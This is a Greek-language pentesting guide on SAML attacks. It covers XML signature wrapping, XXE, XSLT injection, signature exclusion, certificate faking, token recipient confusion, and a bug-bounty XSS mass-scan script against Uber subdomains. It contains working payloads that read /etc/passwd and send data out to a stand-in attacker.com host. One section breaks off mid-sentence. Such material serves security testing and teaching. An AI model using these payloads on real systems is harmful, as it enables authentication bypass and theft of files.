SAML Attacks

Reading time: 14 minutes

SAML Attacks

Basic Information

SAML Basics

Tool

SAMLExtractor: Ένα εργαλείο που μπορεί να πάρει μια διεύθυνση URL ή μια λίστα διευθύνσεων URL και να εκτυπώσει πίσω τη διεύθυνση URL κατανάλωσης SAML.

XML round-trip

Στο XML, το υπογεγραμμένο μέρος του XML αποθηκεύεται στη μνήμη, στη συνέχεια εκτελείται κάποια κωδικοποίηση/αποκωδικοποίηση και ελέγχεται η υπογραφή. Ιδανικά, αυτή η κωδικοποίηση/αποκωδικοποίηση δεν θα έπρεπε να αλλάξει τα δεδομένα, αλλά με βάση αυτό το σενάριο, τα δεδομένα που ελέγχονται και τα αρχικά δεδομένα μπορεί να μην είναι τα ίδια.

Για παράδειγμα, ελέγξτε τον παρακάτω κώδικα:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Η εκτέλεση του προγράμματος κατά του REXML 3.2.4 ή παλαιότερης έκδοσης θα είχε ως αποτέλεσμα την εξής έξοδο αντί για αυτήν:

First child in original doc: Y
First child after round-trip: Z

Αυτό είναι πώς το REXML είδε το αρχικό XML έγγραφο από το πρόγραμμα παραπάνω:

Και αυτό είναι πώς το είδε μετά από μια διαδικασία ανάλυσης και σειριοποίησης:

Για περισσότερες πληροφορίες σχετικά με την ευπάθεια και πώς να την εκμεταλλευτείτε:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

Επιθέσεις XML Signature Wrapping

Στις επιθέσεις XML Signature Wrapping (XSW), οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: επικύρωση υπογραφής και κλήση λειτουργίας. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος εισάγει πλαστά στοιχεία που δεν θέτουν σε κίνδυνο την εγκυρότητα της XML υπογραφής. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας διαφοράς μεταξύ των στοιχείων που αναλύονται από τη λογική εφαρμογής και εκείνων που ελέγχονται από το module επαλήθευσης υπογραφής. Ως αποτέλεσμα, ενώ η XML υπογραφή παραμένει τεχνικά έγκυρη και περνά την επαλήθευση, η λογική εφαρμογής επεξεργάζεται τα παράνομα στοιχεία. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την προστασία ακεραιότητας και την αυθεντικότητα προέλευσης της XML υπογραφής, επιτρέποντας την εισαγωγή αυθαίρετου περιεχομένου χωρίς ανίχνευση.

Οι παρακάτω επιθέσεις βασίζονται σε αυτήν την ανάρτηση ιστολογίου και σε αυτό το έγγραφο. Έτσι, ελέγξτε τα για περισσότερες λεπτομέρειες.

XSW #1

• Στρατηγική: Προστίθεται ένα νέο ριζικό στοιχείο που περιέχει την υπογραφή.
• Σημασία: Ο επικυρωτής μπορεί να μπερδευτεί μεταξύ του νόμιμου "Response -> Assertion -> Subject" και του "κακού νέου Response -> Assertion -> Subject" του επιτιθέμενου, οδηγώντας σε ζητήματα ακεραιότητας δεδομένων.

XSW #2

• Διαφορά από το XSW #1: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιλαμβανόμενη υπογραφή.
• Σημασία: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά τον έλεγχο ακεραιότητας.

XSW #3

• Στρατηγική: Δημιουργείται μια κακή Assertion στο ίδιο ιεραρχικό επίπεδο με την αρχική assertion.
• Σημασία: Στοχεύει να μπερδέψει τη λογική επιχείρησης ώστε να χρησιμοποιήσει τα κακόβουλα δεδομένα.

XSW #4

• Διαφορά από το XSW #3: Η αρχική Assertion γίνεται παιδί της διπλασιασμένης (κακής) Assertion.
• Σημασία: Παρόμοια με το XSW #3 αλλά τροποποιεί τη δομή XML πιο επιθετικά.

XSW #5

• Μοναδικό Σημείο: Ούτε η Υπογραφή ούτε η αρχική Assertion συμμορφώνονται με τις τυπικές ρυθμίσεις (περιλαμβανόμενη/περιλαμβάνουσα/αποσπασμένη).
• Σημασία: Η αντιγραμμένη Assertion περιλαμβάνει την Υπογραφή, τροποποιώντας τη αναμενόμενη δομή εγγράφου.

XSW #6

• Στρατηγική: Παρόμοια εισαγωγή τοποθεσίας όπως το XSW #4 και #5, αλλά με μια ανατροπή.
• Σημασία: Η αντιγραμμένη Assertion περιλαμβάνει την Υπογραφή, η οποία στη συνέχεια περιλαμβάνει την αρχική Assertion, δημιουργώντας μια φωλιασμένη παραπλανητική δομή.

XSW #7

• Στρατηγική: Ένα στοιχείο Extensions εισάγεται με την αντιγραμμένη Assertion ως παιδί.
• Σημασία: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα ελέγχου σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML.

XSW #8

• Διαφορά από το XSW #7: Χρησιμοποιεί ένα άλλο λιγότερο περιοριστικό XML στοιχείο για μια παραλλαγή της επίθεσης.
• Σημασία: Η αρχική Assertion γίνεται παιδί του λιγότερο περιοριστικού στοιχείου, αναστρέφοντας τη δομή που χρησιμοποιήθηκε στο XSW #7.

Εργαλείο

Μπορείτε να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να αναλύσετε το αίτημα, να εφαρμόσετε οποιαδήποτε επίθεση XSW επιλέξετε και να την εκτελέσετε.

XXE

Αν δεν γνωρίζετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα:

XXE - XEE - XML External Entity

Οι SAML Responses είναι συμπιεσμένα και base64 κωδικοποιημένα XML έγγραφα και μπορεί να είναι ευάλωτα σε επιθέσεις XML External Entity (XXE). Με την τροποποίηση της δομής XML της SAML Response, οι επιτιθέμενοι μπορούν να προσπαθήσουν να εκμεταλλευτούν τις ευπάθειες XXE. Να πώς μπορεί να οπτικοποιηθεί μια τέτοια επίθεση:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να δημιουργήσετε το POC από ένα SAML request για να ελέγξετε για πιθανές ευπάθειες XXE και SAML.

Ελέγξτε επίσης αυτή την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Για περισσότερες πληροφορίες σχετικά με το XSLT, επισκεφθείτε:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Οι Επεκτάσιμες Μετασχηματισμοί Γλώσσας Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή XML εγγράφων σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι οι μετασχηματισμοί XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε.

Εδώ μπορείτε να βρείτε ένα POC για να ελέγξετε για αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να δημιουργήσετε το POC από ένα SAML request για να δοκιμάσετε πιθανές ευπάθειες XSLT.

Ελέγξτε επίσης αυτή την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

Η XML Signature Exclusion παρατηρεί τη συμπεριφορά των υλοποιήσεων SAML όταν το στοιχείο Signature δεν είναι παρόν. Εάν αυτό το στοιχείο λείπει, η επικύρωση υπογραφής μπορεί να μην συμβαίνει, καθιστώντας το ευάλωτο. Είναι δυνατόν να δοκιμαστεί αυτό αλλάζοντας τα περιεχόμενα που συνήθως επαληθεύονται από την υπογραφή.

Tool

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider. Παρέμβαση στην SAML Response και κάντε κλικ στο Remove Signatures. Με αυτόν τον τρόπο όλα τα στοιχεία Signature αφαιρούνται.

Με τις υπογραφές αφαιρεμένες, επιτρέψτε στο αίτημα να προχωρήσει στον στόχο. Εάν η υπογραφή δεν απαιτείται από την Υπηρεσία

Certificate Faking

Certificate Faking

Το Certificate Faking είναι μια τεχνική για να δοκιμάσετε αν ένας Service Provider (SP) επαληθεύει σωστά ότι ένα SAML Message είναι υπογεγραμμένο από έναν αξιόπιστο Identity Provider (IdP). Περιλαμβάνει τη χρήση ενός *self-signed certificate για να υπογράψει την SAML Response ή Assertion, που βοηθά στην αξιολόγηση της διαδικασίας επικύρωσης εμπιστοσύνης μεταξύ SP και IdP.

How to Conduct Certificate Faking

Τα παρακάτω βήματα περιγράφουν τη διαδικασία χρησιμοποιώντας την επέκταση Burp SAML Raider:

1. Παρέμβαση στην SAML Response.
2. Εάν η απάντηση περιέχει μια υπογραφή, στείλτε το πιστοποιητικό στο SAML Raider Certs χρησιμοποιώντας το κουμπί Send Certificate to SAML Raider Certs.
3. Στην καρτέλα Certificates του SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο Save and Self-Sign για να δημιουργήσετε ένα self-signed clone του αρχικού πιστοποιητικού.
4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στην Proxy του Burp. Επιλέξτε το νέο self-signed πιστοποιητικό από το αναπτυσσόμενο μενού XML Signature.
5. Αφαιρέστε οποιεσδήποτε υπάρχουσες υπογραφές με το κουμπί Remove Signatures.
6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το (Re-)Sign Message ή (Re-)Sign Assertion κουμπί, ανάλογα με την περίπτωση.
7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδηλώνει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το self-signed πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML μηνυμάτων.

Token Recipient Confusion / Service Provider Target Confusion

Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο εάν ο Service Provider επαληθεύει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης. Στην ουσία, ένας Service Provider θα πρέπει να απορρίψει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο Recipient, που βρίσκεται μέσα στο στοιχείο SubjectConfirmationData μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη.

How It Works

Για να είναι εφικτή μια επίθεση SAML Token Recipient Confusion (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει ένας έγκυρος λογαριασμός σε έναν Service Provider (αναφερόμενος ως SP-Legit). Δεύτερον, ο στοχευμένος Service Provider (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Identity Provider που εξυπηρετεί τον SP-Legit.

Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Identity Provider. Η SAML Response από τον Identity Provider προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη SAML Response, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη συνέχεια στον SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Assertion από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS στη λειτουργία Αποσύνδεσης

Η αρχική έρευνα μπορεί να προσπελαστεί μέσω αυτού του συνδέσμου.

Κατά τη διαδικασία της βίαιης αναγκαστικής πρόσβασης σε καταλόγους, ανακαλύφθηκε μια σελίδα αποσύνδεσης στη:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Κατά την πρόσβαση σε αυτόν τον σύνδεσμο, συνέβη ανακατεύθυνση προς:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Αυτό αποκάλυψε ότι η παράμετρος base δέχεται μια διεύθυνση URL. Λαμβάνοντας υπόψη αυτό, προέκυψε η ιδέα να αντικατασταθεί η διεύθυνση URL με javascript:alert(123); σε μια προσπάθεια να ξεκινήσει μια επίθεση XSS (Cross-Site Scripting).

Μαζική Εκμετάλλευση

Από αυτή την έρευνα:

Το SAMLExtractor εργαλείο χρησιμοποιήθηκε για να αναλύσει υποτομείς του uberinternal.com για τομείς που χρησιμοποιούν την ίδια βιβλιοθήκη. Στη συνέχεια, αναπτύχθηκε ένα σενάριο για να στοχεύσει τη σελίδα oidauth/prompt. Αυτό το σενάριο δοκιμάζει για XSS (Cross-Site Scripting) εισάγοντας δεδομένα και ελέγχοντας αν αυτά ανακλώνται στην έξοδο. Σε περιπτώσεις όπου η είσοδος ανακλάται πράγματι, το σενάριο σηματοδοτεί τη σελίδα ως ευάλωτη.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Αναφορές

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/